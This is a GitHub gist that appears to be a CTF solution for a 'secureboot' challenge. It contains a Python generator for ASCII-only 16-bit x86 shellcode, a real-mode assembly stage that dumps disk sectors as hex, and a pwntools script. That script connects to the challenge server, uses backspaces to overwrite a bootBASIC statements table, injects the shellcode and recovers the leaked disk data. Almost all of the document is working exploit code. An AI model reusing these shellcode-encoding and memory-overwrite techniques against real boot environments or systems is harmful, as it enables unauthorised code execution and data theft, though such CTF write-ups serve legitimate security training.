Skip to content

Instantly share code, notes, and snippets.

@sw1tchbl4d3r
Last active May 29, 2022 16:40
Show Gist options
  • Save sw1tchbl4d3r/9d2c8704269fd7e2d1bcc0aa26d3684b to your computer and use it in GitHub Desktop.
Save sw1tchbl4d3r/9d2c8704269fd7e2d1bcc0aa26d3684b to your computer and use it in GitHub Desktop.
secureboot
import binascii
import random
CHARSET = "\x01\x02\x04\x05\x06\x07\x09\x10\x0f\x0e\x0c\x14\x13\x12\x11\x18\x17\x16\x15\x190123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[]_{|} "
START = """; init
cpu 8086
"""
CLEAR = """; clear ax
and ax, 0x0101
and ax, 0x0202
"""
NOP = """; nop
sub ax, 0x101
"""
MARKER = """; marker
db 0x41
db 0x42
db 0x43
"""
PATHS = {
0x0: [101, 105, 50],
0x1: [81, 104, 70],
0x2: [116, 23, 115],
0x3: [87, 62, 104],
0x4: [115, 114, 23],
0x5: [75, 115, 61],
0x6: [85, 66, 99],
0x7: [110, 95, 44],
0x8: [67, 102, 79],
0x9: [101, 110, 36],
0xa: [111, 88, 47],
0xb: [47, 89, 109],
0xc: [14, 108, 122],
0xd: [21, 121, 101],
0xe: [115, 25, 102],
0xf: [86, 76, 79],
0x10: [86, 65, 89],
0x11: [121, 5, 113],
0x12: [62, 88, 88],
0x13: [75, 87, 75],
0x14: [93, 46, 97],
0x15: [93, 63, 79],
0x16: [107, 82, 45],
0x17: [77, 84, 72],
0x18: [116, 17, 99],
0x19: [89, 78, 64],
0x1a: [78, 36, 116],
0x1b: [80, 90, 59],
0x1c: [66, 83, 79],
0x1d: [75, 115, 37],
0x1e: [118, 2, 106],
0x1f: [32, 103, 90],
0x20: [98, 56, 70],
0x21: [50, 64, 109],
0x22: [118, 61, 43],
0x23: [76, 36, 109],
0x24: [25, 82, 113],
0x25: [102, 4, 113],
0x26: [36, 84, 98],
0x27: [72, 68, 77],
0x28: [83, 124, 9],
0x29: [107, 54, 54],
0x2a: [77, 55, 82],
0x2b: [80, 46, 87],
0x2c: [106, 36, 70],
0x2d: [67, 40, 104],
0x2e: [109, 18, 83],
0x2f: [60, 66, 83],
0x30: [24, 113, 71],
0x31: [103, 81, 23],
0x32: [66, 34, 106],
0x33: [59, 48, 98],
0x34: [69, 71, 64],
0x35: [88, 69, 46],
0x36: [19, 107, 76],
0x37: [60, 57, 84],
0x38: [59, 78, 63],
0x39: [57, 33, 109],
0x3a: [102, 63, 33],
0x3b: [98, 4, 95],
0x3c: [32, 119, 45],
0x3d: [36, 107, 52],
0x3e: [85, 76, 33],
0x3f: [80, 40, 73],
0x40: [99, 77, 16],
0x41: [66, 64, 61],
0x42: [85, 89, 16],
0x43: [64, 64, 61],
0x44: [70, 44, 74],
0x45: [65, 113, 9],
0x46: [81, 32, 73],
0x47: [16, 65, 104],
0x48: [65, 32, 87],
0x49: [123, 36, 24],
0x4a: [40, 110, 32],
0x4b: [60, 32, 89],
0x4c: [45, 73, 62],
0x4d: [72, 6, 101],
0x4e: [48, 86, 44],
0x4f: [74, 66, 37],
0x50: [9, 58, 109],
0x51: [25, 35, 115],
0x52: [104, 61, 9],
0x53: [19, 70, 84],
0x54: [32, 105, 35],
0x55: [74, 72, 25],
0x56: [99, 67, 4],
0x57: [2, 44, 123],
0x58: [46, 61, 61],
0x59: [72, 59, 36],
0x5a: [118, 5, 43],
0x5b: [4, 58, 103],
0x5c: [40, 120, 4],
0x5d: [20, 62, 81],
0x5e: [49, 56, 57],
0x5f: [107, 32, 22],
0x60: [62, 32, 66],
0x61: [103, 32, 24],
0x62: [117, 35, 6],
0x63: [36, 32, 89],
0x64: [15, 42, 99],
0x65: [98, 22, 35],
0x66: [102, 35, 17],
0x67: [20, 66, 67],
0x68: [86, 33, 33],
0x69: [53, 45, 53],
0x6a: [32, 117, 1],
0x6b: [47, 52, 50],
0x6c: [45, 35, 68],
0x6d: [47, 46, 54],
0x6e: [36, 39, 71],
0x6f: [104, 5, 36],
0x70: [124, 14, 6],
0x71: [40, 33, 70],
0x72: [81, 38, 23],
0x73: [75, 21, 45],
0x74: [37, 36, 67],
0x75: [2, 17, 120],
0x76: [47, 74, 17],
0x77: [102, 12, 23],
0x78: [6, 12, 118],
0x79: [20, 74, 41],
0x7a: [25, 41, 68],
0x7b: [33, 53, 47],
0x7c: [21, 35, 76],
0x7d: [25, 64, 42],
0x7e: [83, 33, 14],
0x7f: [6, 122, 1],
0x80: [18, 101, 9],
0x81: [39, 84, 4],
0x82: [51, 63, 12],
0x83: [49, 70, 6],
0x84: [41, 38, 45],
0x85: [42, 49, 32],
0x86: [4, 117, 1],
0x87: [44, 71, 6],
0x88: [64, 33, 23],
0x89: [12, 72, 35],
0x8a: [6, 56, 56],
0x8b: [35, 24, 58],
0x8c: [49, 24, 43],
0x8d: [59, 21, 35],
0x8e: [15, 85, 14],
0x8f: [57, 2, 54],
0x90: [1, 110, 1],
0x91: [9, 79, 23],
0x92: [17, 36, 57],
0x93: [17, 45, 47],
0x94: [25, 65, 18],
0x95: [88, 5, 14],
0x96: [25, 46, 35],
0x97: [24, 2, 79],
0x98: [33, 17, 54],
0x99: [4, 62, 37],
0x9a: [12, 58, 32],
0x9b: [41, 37, 23],
0x9c: [48, 51, 1],
0x9d: [22, 40, 37],
0x9e: [12, 24, 62],
0x9f: [20, 18, 59],
0xa0: [23, 38, 35],
0xa1: [35, 22, 38],
0xa2: [56, 20, 18],
0xa3: [5, 7, 81],
0xa4: [16, 42, 34],
0xa5: [5, 2, 84],
0xa6: [2, 50, 38],
0xa7: [12, 70, 7],
0xa8: [24, 1, 63],
0xa9: [14, 37, 36],
0xaa: [35, 50, 1],
0xab: [60, 16, 9],
0xac: [46, 32, 6],
0xad: [7, 35, 41],
0xae: [15, 25, 42],
0xaf: [7, 16, 58],
0xb0: [1, 21, 58],
0xb1: [52, 5, 22],
0xb2: [5, 21, 52],
0xb3: [45, 9, 23],
0xb4: [18, 23, 35],
0xb5: [18, 24, 33],
0xb6: [55, 15, 4],
0xb7: [32, 22, 19],
0xb8: [45, 6, 21],
0xb9: [32, 24, 15],
0xba: [17, 36, 17],
0xbb: [1, 4, 64],
0xbc: [19, 42, 7],
0xbd: [4, 44, 19],
0xbe: [15, 19, 32],
0xbf: [44, 9, 12],
0xc0: [18, 14, 32],
0xc1: [16, 38, 9],
0xc2: [20, 19, 23],
0xc3: [36, 16, 9],
0xc4: [18, 37, 5],
0xc5: [7, 2, 50],
0xc6: [23, 33, 2],
0xc7: [5, 35, 17],
0xc8: [21, 12, 23],
0xc9: [2, 33, 20],
0xca: [18, 12, 24],
0xcb: [32, 20, 1],
0xcc: [1, 6, 45],
0xcd: [21, 23, 7],
0xce: [5, 39, 6],
0xcf: [45, 2, 2],
0xd0: [7, 6, 35],
0xd1: [42, 1, 4],
0xd2: [4, 24, 18],
0xd3: [1, 4, 40],
0xd4: [38, 5, 1],
0xd5: [35, 7, 1],
0xd6: [32, 4, 6],
0xd7: [2, 34, 5],
0xd8: [17, 6, 17],
0xd9: [18, 17, 4],
0xda: [1, 18, 19],
0xdb: [4, 24, 9],
0xdc: [15, 9, 12],
0xdd: [17, 1, 17],
0xde: [16, 4, 14],
0xdf: [12, 12, 9],
0xe0: [5, 20, 7],
0xe1: [20, 4, 7],
0xe2: [1, 9, 20],
0xe3: [14, 9, 6],
0xe4: [6, 6, 16],
0xe5: [2, 19, 6],
0xe6: [7, 12, 7],
0xe7: [19, 1, 5],
0xe8: [14, 5, 5],
0xe9: [9, 12, 2],
0xea: [12, 4, 6],
0xeb: [5, 12, 4],
0xec: [2, 2, 16],
0xed: [2, 12, 5],
0xee: [7, 5, 6],
0xef: [5, 7, 5],
0xf0: [9, 2, 5],
0xf1: [5, 4, 6],
0xf2: [1, 7, 6],
0xf3: [4, 5, 4],
0xf4: [2, 9, 1],
0xf5: [2, 4, 5],
0xf6: [6, 2, 2],
0xf7: [1, 1, 7],
0xf8: [4, 2, 2],
0xf9: [1, 1, 5],
0xfa: [1, 4, 1],
0xfb: [2, 2, 1],
0xfc: [1, 1, 2],
0xfd: [1, 1, 1],
}
def get_path_for(char):
path = [ord(random.choice(CHARSET)) for _ in range(3)]
while (0x100 - sum(path)) != char:
path = [ord(random.choice(CHARSET)) for _ in range(3)]
return path
def gen_for_chars(chars):
assert len(chars) == 2
char1 = PATHS[chars[0]+1]
char2 = PATHS[chars[1]]
return f"""; {binascii.hexlify(chars).decode()}
sub ax, 0x{hex(char1[0])[2:].rjust(2, "0")}{hex(char2[0])[2:].rjust(2, "0")}
sub ax, 0x{hex(char1[1])[2:].rjust(2, "0")}{hex(char2[1])[2:].rjust(2, "0")}
sub ax, 0x{hex(char1[2])[2:].rjust(2, "0")}{hex(char2[2])[2:].rjust(2, "0")}
push ax
"""
INPUT = open("stage2", "rb").read()
ASCII_LEN = 888
CODE_LEN = len(INPUT)
INPUT = INPUT[::-1]
INPUT = [INPUT[i:i+2] for i in range(0, len(INPUT), 2)]
NOP_LENGTH = 43
ESP = 0x7e01 + CODE_LEN + ASCII_LEN
if False:
print("PATH = {")
for char in range(0, 0x100-2):
print(f"\t{hex(char)}: {get_path_for(char)},")
print("}")
exit(1)
print(f"; org {hex(0x7e01+ASCII_LEN)}")
print(START)
for _ in range(NOP_LENGTH):
print(NOP)
print(MARKER)
print(CLEAR)
print(gen_for_chars(binascii.unhexlify(hex(ESP)[2:])))
print("pop sp\n")
for inp in INPUT:
print(CLEAR)
print(gen_for_chars(inp))
print("\nsub ax, 0x101")
org 0x0
bits 16
start:
cli
xor ax, ax
mov ds, ax
mov es, ax
mov ah, 0x42 ; command
mov dl, 0x82 ; Drive no
mov si, DAP
int 0x13
mov di, data
print:
xor cx, cx
xor dx, dx
mov al, byte [di]
mov cl, al
mov dl, al
and cl, 0x0F
and dl, 0xF0
shr dx, 4
add cx, 0x30
add dx, 0x30
mov al, dl
mov ah, 0x0e
mov bx, 0x0007
int 0x10
mov al, cl
mov ah, 0x0e
mov bx, 0x0007
int 0x10
inc di
jmp print
end:
cli
hlt
DAP:
db 0x10 ; static
db 0x0 ; static
dw 0x28 ; no of sectors
dd data_custom ; addr
dq 0x0 ; start
db 0
data:
db "STARTING"
data_custom:
import binascii
from pwn import *
from time import sleep
import os
import re
# this regex can remove the ansi escape sequences qemu sends to us, as we dont need them
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
# mps430 is the only 16bit architecture i could find in pwntools
context.arch = "msp430"
# this function can take the printed output and convert it back to real hex
def from_weirdhex(string):
string = string.replace(":", "A")
string = string.replace(";", "B")
string = string.replace("<", "C")
string = string.replace("=", "D")
string = string.replace(">", "E")
string = string.replace("?", "F")
return string
# some addresses in the code
STATEMENTS = 0x7dc5
BASE = 0x7c00
LINE = 0x7e80
STACK = 0xff00
END = 0x10000
ERROR_MSG = 0x7c5f
# the ascii shellcode
TEST_SHELLCODE = open("abc.img", "rb").read()
# the last statements table entry
SYSTEM_THINGY = 0x7dfb
AMNT = LINE - SYSTEM_THINGY
CMD = b"\x01\x01\x2d\x41"
# we will use the bootBASIC image
with open("testsigned_images/basic-test_signed", "rb") as fd:
fc = bytearray(fd.read())
# encode it for the server
img = binascii.hexlify(fc) + b"EOF"
p = remote("YOUR-CSCG-SESSION-secureboot.challenge.master.cscg.live", 31337, ssl=True)
# send the required options
p.sendlineafter(b"PRODUCTION\n", b"1")
p.sendlineafter(b"NOGRAPHIC\n", b"1")
p.sendlineafter(b'End your input with "EOF"\n', img)
# we have to wait here for the machine to boot up properly
sleep(10)
# backtracking stage, we send backspaces until we reach the statements list
# the sleep here is needed because qemu is a bit slow
print("Backtracking...")
for i in range(AMNT+7):
p.send(b"\x08")
sleep(0.1)
# here we compile our payload, with the overwritten command, the location to jump to, and our ascii shellcode
SPLOIT = flat(p8(len(CMD)+1), CMD, 0x7e01, p8(1)*6, TEST_SHELLCODE, b"\n", CMD, b"\n")
# here we send the shellcode
print("Rewriting...")
for i in SPLOIT:
p.send(bytes([i]))
sleep(0.1)
# here we wait for the magical STARTING string in our weird encoding we can find in our raw shellcode
print("Waiting for response...")
p.recvuntil(b"5354415254494>47") # STARTING
data = b""
# here we get the result of our disk read
print("Retrieving...")
while True:
try:
data += p.recv(1)
if len(data) >= 10000:
break
except:
break
# and finally, we put the result into a file
with open("testfile", "w") as fd:
data = ansi_escape.sub('', data.decode())
newdata = ""
for char in data:
if char in "0123456789:;<=>?":
newdata += char
if len(newdata) % 2:
newdata += "0"
data = binascii.unhexlify(from_weirdhex(newdata))
fd.write(data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment